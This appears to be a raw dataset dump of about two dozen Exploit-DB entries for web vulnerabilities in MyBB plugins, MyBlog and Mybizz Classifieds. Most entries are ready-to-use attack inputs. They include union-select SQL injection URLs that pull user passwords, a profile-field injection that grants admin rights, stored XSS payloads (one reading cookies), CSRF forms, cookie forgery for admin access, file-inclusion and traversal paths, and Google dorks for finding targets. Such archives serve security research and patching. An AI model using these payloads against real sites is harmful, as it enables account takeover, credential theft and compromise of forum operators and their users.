deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23287
Description: MyBB Profile Blogs Plugin 1.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-12-11
Author: Zixem

Exploit:
# Exploit Title: MyBB Profile Blog plugin multiple vulnerabilities.
# Google Dork: inurl:member.php intext:"Profile Blogs" for MyBB
# Date: 12.9.2012
# Exploit Author: Zixem
# Vendor Homepage: http://fklar.pl/
# Software Link: http://mods.mybb.com/view/profile-blogs
# Version: 1.2+
# Tested on: Linux.

MyBB Profile Blogs plugin suffers from SQL Injection && Stored XSS.
The vulnerabilities exist withing profileblogs.php which located in /plugins/ folder.


#################################### SQLi ####################################

Instructions:
1. Create a new post in your profile blog.
2. Edit it.
3. Inject in edit GET parameter.

Vulnerable part:
<?php

/*Line 253*/	$pid = $mybb->input['edit'];
/*Line 259*/	$db->query("UPDATE `".TABLE_PREFIX."blogposts` SET `subject` = '".$subject."', `message` = '".$message."' WHERE `pid` = '".$pid."'");

?>

How to exploit it:
member.php?action=profile&uid=2&blogpage=1&edit=[VAILD_ID]'[SQLi]

PoC: http://i.imgur.com/HY60R.png



+----------------------------------------------------------------------------------------+



#################################### Stored-XSS ####################################

The post subject is stored in the database without XSS protection, like this:
<?php
	$subject = addslashes($mybb->input['subject']);
	$db->query("INSERT INTO `".TABLE_PREFIX."blogposts` VALUES (NULL, '".$uid."', '".$dateline."', '".$subject."', '".$message."', '".$ipaddress."')");
?>

And also comes out without XSS protection:

<?php
/*328*/ 	while($post = $db->fetch_array($query)) {
/*333*/ 	$blog .= "<strong style=\"float: left;\">".$post['subject']."</strong><br />";
?>

As a result, we're getting Stored-XSS.

How to exploit that: http://i.imgur.com/OTIRa.png
PoC: http://i.imgur.com/2Hv9J.png


Follow: http://twitter.com/z1xem
Exploit-DB #23888
Description: MyBB Profile Wii Friend Code - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-01-04
Author: Ichi

Exploit:
# Exploit Title: MyBB Profile Wii Friend Code SQLi/Persistent XSS
# Dork: intitle:"Profile of" intext:"Wii Friend Code" inurl:member.php
# Date: 1/3/2013
# Exploit Author: Ichi
# Vendor Homepage: http://mods.mybb.com/view/profile-wii-friend-code
# Software Link: http://mods.mybb.com/download/profile-wii-friend-code
# Version: 1.0
# Tested on: Windows 7 64-bit

"Profile Wii Friend Code" MyBB plugin is vulnerable to SQL UPDATE Injection and Persistent XSS.

The vulnerable code lies here(in profilewfc.php):

<?php
function profilewfc_update($wfc)
{
  global $mybb;

  if (isset($mybb->input['wfc']))
   {
      $wfc->user_update_data['wfc'] = $mybb->input['wfc'];
   }
}
?>

As you can see the input is not sanitized in the least...

Persistent XSS:
1. Go to your user cp and edit your profile - usercp.php?action=profile
2. and at the "Wii Friend Code Wii Friend Code" box enter: <script>alert(1)</script> and then press submit
3. http://prntscr.com/o1x2p, submit, and http://prntscr.com/o1x69

SQL Injection:
1. Go to your user cp and edit your profile - usercp.php?action=profile
2. Enter this into the Wii Friend Code field as you would do with the 1st vulnerability: x', usergroup='4
3. submit and now you belong to whatever usergroup to choice to belong to

PoC:
Before: http://prntscr.com/o1xkg
Exploit: http://prntscr.com/o1xnd
Aftermath(now an admin): http://prntscr.com/o1xoj

https://twitter.com/TeamDigi7al
~Ichi
Exploit-DB #44833
Description: MyBB Recent Threads Plugin 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-06-05
Author: 0xB9

Exploit:
# Exploit Title: MyBB Recent Threads Plugin v1.0 - Cross-Site Scripting
# Date: 6/2/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=842
# Version: 1.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-11715


1. Description:
Creates a page that shows threads that the user has posted in when they have unread replies.

 

2. Proof of Concept:

- Create or reply to a thread with the following subject  <script>alert('XSS')</script> 
- When someone replies to the thread you will see the alert here /misc.php?action=myrecentthreads



3. Solution:
Update to 1.1
Exploit-DB #41862
Description: MyBB smilie Module < 1.8.11 - 'pathfolder' Directory Traversal
Type: webapps
Platform: php
Date: 2017-04-11
Author: Zhiyang Zeng

Exploit:
Description:
============

product: MyBB
Homepage: https://mybb.com/
vulnerable  version: < 1.8.11
Severity: Low risk

===============

Proof of Concept:
=============

vulnerability address:http://127.0.0.1/mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple

vulnerability  file directory:/webroot/mybb_1810/Upload/admin/modules/config/smilies.php

vulnerability  Code:

Line 326 $path = $mybb->input['pathfolder'];

Line 327 $dir = @opendir(MYBB_ROOT.$path);

if we input "pathfolder" to "../../bypass/smile",Directory Traversal success!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============
Exploit-DB #45178
Description: MyBB Thank You/Like Plugin 3.0.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-08-10
Author: 0xB9

Exploit:
# Exploit Title: MyBB Thank You/Like Plugin 3.0.0 - Cross-Site Scripting
# Date: 8/1/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=360
# Version: 3.0.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14888


1. Description:
This plugin allows users to thank/like other users threads/posts. In user profiles it shows your most liked post/thread, the post/thread subjects aren't sanitized to user input.
 

2. Proof of Concept:

- Use the following as the post/thread subject  <script>alert('XSS')</script>
- Get that post/thread liked by another user (or you)
- Visit your profile to see alert.


3. Solution:
Update to v3.1.0
Exploit-DB #49505
Description: MyBB Thread Redirect Plugin 0.2.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-02-01
Author: 0xB9

Exploit:
# Exploit Title: MyBB Thread Redirect Plugin 0.2.1 - Cross-Site Scripting
# Date: 7/23/2018
# Author: 0xB9
# Software Link: https://github.com/jamiesage123/Thread-Redirect
# Version: 0.2.1
# Tested on: Windows 10

1. Description:
This plugin allows threads to redirect to a URL with optional custom text. The custom text input is vulnerable to Cross-Site Scripting.

2. Proof of Concept:

- Create a new thread
- Input any Thread Subject and Redirect URL you'd like
- Use the following payload for Your Message     <svg/onload=alert('XSS')>
Anyone who views the thread will execute payload.
Exploit-DB #44547
Description: MyBB Threads to Link Plugin 1.3 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-26
Author: 0xB9

Exploit:
# Exploit Title: MyBB Threads to Link Plugin v1.3 - Persistent XSS
# Date: 3/15/2018
# Author: 0xB9
# Contact: luxorforums.com/User-0xB9 or 0xB9[at]protonmail.com
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1065
# Version: v1.3
# Tested on: Ubuntu 17.10
CVE: CVE-2018-10365


1. Description:
When editing a thread the user is given to the option to convert the thread to a link.


2. Proof of Concept:

Persistent XSS
- Edit a thread or post you've made
- At the bottom of the edit page in the Thread Link box input the following <a """><SCRIPT>alert("XSS")</SCRIPT>">
- Now visit the forum your thread/post exists in to see the alert.


3. Solution:
The plugin has since been removed after notifying the author.

Patch in line 83:
$thread['tlink'] = ($thread['tlink']);

to

$thread['tlink'] = htmlspecialchars_uni($thread['tlink']);
Exploit-DB #49467
Description: MyBB Timeline Plugin 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-01-25
Author: 0xB9

Exploit:
# Exploit Title: MyBB Timeline Plugin 1.0 - Cross-Site Scripting / CSRF
# Date: 1/21/2021
# Author: 0xB9
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1428
# Version: 1.0
# Tested on: Windows 10

1. Description:
MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed.
 

2. Proof of Concept:

~ XSS via Thread/Post ~
- Make a new thread or reply to an existing thread
- Input a payload in either the thread title or main post itself   <script>alert('XSS')</script>
Payload will execute when visiting your profile.

~ XSS via Location/Bio ~
- Go to User CP -> Edit Profile
- Input a payload in the Location/Bio   <script>alert('XSS')</script>
Payload will execute when visiting your profile.

~ CSRF ~
<form class="coverpicForm" action="http://localhost/mybb/timeline.php?action=profile&uid=1" style="display: block;">
	<input type="text" name="coverpic" placeholder="Add Image URL" required="">
	<input type="hidden" name="do_coverpic" value="change">
	<input type="submit" value="Change">
</form>
Exploit-DB #38139
Description: MyBB Transactions Plugin - 'transaction' SQL Injection
Type: webapps
Platform: php
Date: 2012-12-18
Author: limb0

Exploit:
source: https://www.securityfocus.com/bid/57009/info

The Transactions Plugin for MyBB is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Transactions 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com//bank.php?transactions=[SQLi]
Exploit-DB #46384
Description: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2019-02-15
Author: 0xB9

Exploit:
# Exploit Title: MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / CSRF
# Date: 7/17/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=957
# Version: 1.1.3
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-14575


1. Description:
Creates a trash bin in the ACP where you can recover permanent deleted threads and posts. The thread/post subjects allow XSS and deleted posts can be restored by CSRF.
 

2. Proof of Concept:

Cross-Site Scripting

- Create a new thread with the following subject  <script>alert('XSS')</script>
- Permanently delete that thread
- Alert is located in threads trash bin localhost/[path]/admin/index.php?module=tools-trashbin and localhost/admin/index.php?module=tools-trashbin&action=posts

- Reply to a post and change the subject to the following  <script>alert('XSS')</script>
- Permanently delete that post
- Alert is located in posts trash bin localhost/[path]/admin/index.php?module=tools-trashbin&action=posts


Cross-Site Request Forgery

<html>
	<body>
		<!-- Restore deleted threads & posts by thread/post ID -->
		<div class="popup_item_container"><a href="http://localhost/[path]/admin/index.php?module=tools-trashbin&action=threadrestore&tid=1" class="popup_item">Restore</a></div>
		<script type="text/javascript">
			$("#thread_1").popupMenu();
		</script>
	</body>
</html>

3. Solution:
Update to 1.1.4
Exploit-DB #49504
Description: MyBB Trending Widget Plugin 1.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-02-01
Author: 0xB9

Exploit:
# Exploit Title: MyBB Trending Widget Plugin 1.2 - Cross-Site Scripting
# Date: 11/28/2018
# Author: 0xB9
# Software Link: https://github.com/zainali99/trends-widget
# Version: 1.2
# Tested on: Windows 10

1. Description:
This plugin shows the most trending threads. Trending thread titles aren't sanitized to user input.

2. Proof of Concept:

- Have a trending thread in the widget
- Change the thread title to a payload   <script>alert('XSS')</script>
Anyone that visits the forum will execute payload
Exploit-DB #46558
Description: MyBB Upcoming Events Plugin 1.32 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-03-19
Author: 0xB9

Exploit:
# Exploit Title: MyBB Upcoming Events Plugin 1.32 - Cross-Site Scripting
# Date: 3/8/2019
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1231
# Version: 1.32
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-9650


1. Description:
This plugin shows upcoming calendar events on the forum index and portal page. Event names are vulnerable to XSS.
 

2. Proof of Concept:

- Go to the calander.php page and add a new event
- Input a payload for the event name   <script>alert('XSS')</script>

Payload will be executed on index.php



3. Solution:
Update to 1.33
Exploit-DB #23425
Description: MyBB User Profile Skype ID Plugin 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-12-16
Author: limb0

Exploit:
# Exploit Title: Profile Skype ID MyBB Plugin Stored XSS
# Date: 14/12/2012
# Exploit Author: limb0
# Vendor Homepage: http://www.dragonknightz.net/
# Software Link: http://mods.mybb.com/view/user-profile-skype-id
# Version: 1.0
# Category:Web Security
# Tested on: Linux

+------------------------------------------------------------+
Stored XSS-Instructions
1.Install&Activate plugin
2.Go to UserCP >> Edit Profile >>  Skype ID:
3.Inject your string(xss) ex. "><script>alert("Skype ID XSS")</script>
4.Visit your profile and voila

Proof
Inject:https://imageshack.us/photo/my-images/22/screenshotfrom201212141.png/
Result:https://imageshack.us/photo/my-images/41/screenshotfrom201212141.png/
+-------------------------------------------------------------+

Vulnerable code:
function profileskype_update($skype)
{
  global $mybb;
  if (isset($mybb->input['skype']))
   {
      $skype->user_update_data['skype'] = $mybb->input['skype'];
   }
}
Exploit-DB #34539
Description: MyBB User Social Networks Plugin 1.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-09-05
Author: Fikri Fadzil

Exploit:
# Exploit Title: User Social Networks MyBB Plugin 1.2 - Cross Site Scripting
# Google Dork: N/A
# Date: 05.09.2014
# Exploit Author: Fikri Fadzil - fikri.fadzil@impact-alliance.org
# Vendor Homepage - N/A
# Software Link: http://mods.mybb.com/view/user-social-networks
# Version: 1.2
# Tested on: PHP


Description:
This plugin allows you to add social networks, or related, in user
profiles. The information will be shown in a user profile and visible for
anyone who view the profile.

Proof of Concept
1. Login into your account.
2. Go to "Edit Profile" page at "/usercp.php?action=profile"
3. Update your Social Network ID with
"><script>alert(document.cookie)</script><"
4. The result can be seen in multiple places, including your profile page.

* The script will be executed whenever anyone view your profile.
** The result can also be seen in threads you involve IF the administrator
configure this plugin to allow user's social sites information to be
published in every post.

Solution:
Replace the content of "inc/plugins/usersocial.php" with this fix:
http://pastebin.com/T1WgcwDB
Exploit-DB #45449
Description: MyBB Visual Editor 1.8.18 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-09-24
Author: Numan OZDEMIR

Exploit:
# Title: MyBB Visual Editor 1.8.18 - Cross-Site Scripting
# Author: Numan OZDEMIR
# Vendor Homepage: mybb.com
# Software Link: https://mybb.com/download/
# Version: Up to v1.8.18. Fixed in v1.8.19.
# PoC Video: https://numanozdemir.com/mybb/xss.mp4
# CVE: CVE-2018-17128

# Description:
# Attacker can run JavaScript codes in victim user's browser while victim is replying a post.
# 'videotype' section causes this.

# How to Reproduce:

1)- Enter to thread posting page. (newthread.php, enter title and content.)
2)- Click "insert a video" command. Select any source and insert any URL.
3)- Edit the video source with your payload.
Or, directly add this code:

[video=PAYLOAD]http://victim.com[/video]
Example:
[video=PA<svg/onload=alert('xss')>YLOAD]http://victim.com[/video]

4)- Post the thread.

# While victim user replying your post, his browser will run JavaScript.
# Vulnerable pages: editpost.php, newreply.php, private.php
# and all Visual Editor embedded pages.
Exploit-DB #34438
Description: MybbCentral TagCloud 2.0 - 'Topic' HTML Injection
Type: webapps
Platform: php
Date: 2010-08-11
Author: 3ethicalhackers.com

Exploit:
source: https://www.securityfocus.com/bid/42406/info

TagCloud is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

TagCloud version 2.0 is vulnerable; other versions may also be affected. 

The following example input is available:

'Topic' Field: <script>javascript:alert("lolcats")</script>
Exploit-DB #5854
Description: Mybizz-Classifieds - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-18
Author: HaCkeR_EgY

Exploit:
##################################################
################   Mybizz Classifieds     ##################
## HaCker_Egy
## Contact : hacker_egy@hotmail.com
## Home : pal-hacker.com & atsdp.com
===============================================
# Script :  mybizz classifieds
# Download : http://www.mybizz-classifieds.com/
===============================================
# Exploit :
           ==>> http://www.target.com/mybizz/index.php?cat=-1+union+select+user(),2,3/*
         
     ==>> http://www.target.com/mybizz/index.php?cat=-1+union+select+current_time,2,3/*
    
# live Demo :
             
    ==>> http://www.mybizz-classifieds.com/mybizz/index.php?cat=-1+union+select+user(),2,3/*
   
## Note : use your mind to get Full exploit D: 
   
===============================================================
## GREETZ : Mr.SQL , GOLD_M , H-T Team , His0k4 , Dark , Mohamed el arab , stack
================================================================================================

# milw0rm.com [2008-06-18]
Exploit-DB #6531
Description: MyBlog 0.9.8 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-22
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
MyBlog <= 0.9.8: PHP and MySQL Blog/CMS software / Cookie poisioning
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: MyBlog
$ File affected: all /admin/*.php files
$ Version: 0.9.8
$ Download: http://sourceforge.net/projects/myblog/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org

MyBlog is an open source Blog/CMS project. It allows begginers to have a 
simple to use blog/cms and it will still please developers with feature 
packed system with plugins, themes and modules.


You can alter cookies to get admin privileges.


Code of add.php:

<?php 
if(isset($_COOKIE['admin']) OR isset($_COOKIE['post'])) {
	$name = $_COOKIE['login']; 
}
else {
echo "Please Login";
	exit;
}
?>

If you try to enter http://blog/admin you obtain: 'Please Login' and the cookie
is some likes that:

login=Pepelux; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926

But if you change the cookie and put, for example:

admin=yes; login=admin; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926

Then you obtain complete access to the admin panel.

Exploit:
javascript:document.cookie = "admin=yes; login=admin";

# milw0rm.com [2008-09-22]
Exploit-DB #32091
Description: MyBlog 0.9.8 - Multiple Remote Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2008-07-21
Author: AmnPardaz Security Research Team

Exploit:
source: https://www.securityfocus.com/bid/30310/info

MyBlog is prone to multiple information-disclosure vulnerabilities because the application fails to properly restrict access to sensitive files.

An unprivileged attacker may exploit these issues to obtain sensitive information.

MyBlog 0.9.8 is vulnerable; other versions may also be affected. 

http://www.example.com/config/mysqlconnection.inc
http://www.example.com/config/mysqlconnection%20-%20Copy.inc
http://www.example.com/admin/setup.php
http://www.example.com/config/settings.inc
Exploit-DB #30923
Description: MyBlog 1.x - 'Games.php?ID' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-22
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/26987/info

MyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/games.php?id=[Sh3ll-Script]
Exploit-DB #31441
Description: MyBlog 1.x - SQL Injection / Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-19
Author: Cod3rZ

Exploit:
source: https://www.securityfocus.com/bid/28313/info

MyBlog is prone to multiple input-validation vulnerabilities, including:

- Multiple SQL-injection vulnerabilities
- Multiple remote file-include vulnerabilities
- A privilege-escalation vulnerability

An attacker may exploit these issues to compromise the affected application, execute arbitrary script code in the context of the webserver process, or pass malicious input to database queries, resulting in the modification of query logic or other attacks. 

http://www.example.com/path/member.php?id='+union+select+password,2,3,4,5,6,7,8,9,10+from+myblog_users+/*
http://www.example.com/path/post.php?id='+union+select+2,3,user,password,6,7,8,9,10,11,12+from+myblog_users/*
http://www.example.com/path/vote.php?id='+union+select+password,3,4,5,6,7,8,9,10,11,12+from+myblog_users+/*
http://www.example.com/path/vote.php?mid='+union+select+password,3,4,5,6,7,8,9,10+from+myblog_users+/*
http://www.example.com/path/games.php?id=[shell]%00
http://www.example.com/path/games.php?scoreid=[shell]%00
Exploit-DB #3685
Description: MyBlog: PHP and MySQL Blog/CMS software - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-08
Author: the_Edit0r

Exploit:
"""""""""""""""""""""""""""""""""""""""""""""""
"""  ::     ::                :::::   ::::  """
"""   ::   ::                 ::  :   ::    """
"""     ::::    ::   :: ::::: :::::   ::::  """
"""    ::  ::   ::: ::: :: :: ::  ::    ::  """
"""  ::      :: :: :  : ::::: ::   :: ::::  """
"""                                         """
"""""""""""""""""""""""""""""""""""""""""""""""
  Xmor$ Security Vulnerability Research TM


# Tilte: MyBlog: PHP and MySQL Blog/CMS software Remote File Include Vulnerabilitiy


# Author..................: [the_Edit0r]
# Homepage ...............: [Www.XmorS-sEurity.coM]
# Location ...............: [Iran]
# Software ...............: [MyBlog: PHP and MySQL Blog/CMS software]
# Impact..................: [ Remote ]
# Site Script ............: [http://sourceforge.net/projects/myblog/]
# We ArE .................: [ Scorpiunix,KAMY4r,Zer0.Cod3r,SilliCONIC,D3vil_B0y_ir,S.W.A.T,DarkAngel ]




------------------------------------- Codes --------------------------------


include($_GET['scoreid'] . "_setby.txt");


------------------------------- proof Of Concept ---------------------------



 www.example.com/[path]/games.php?scoreid=[Sh3ll-Script]



----------------------------------------------------------------------------





# Contact me : the_3dit0r[at]Yahoo[dot]coM

# [XmorS-SEcurity.coM]

# milw0rm.com [2007-04-08]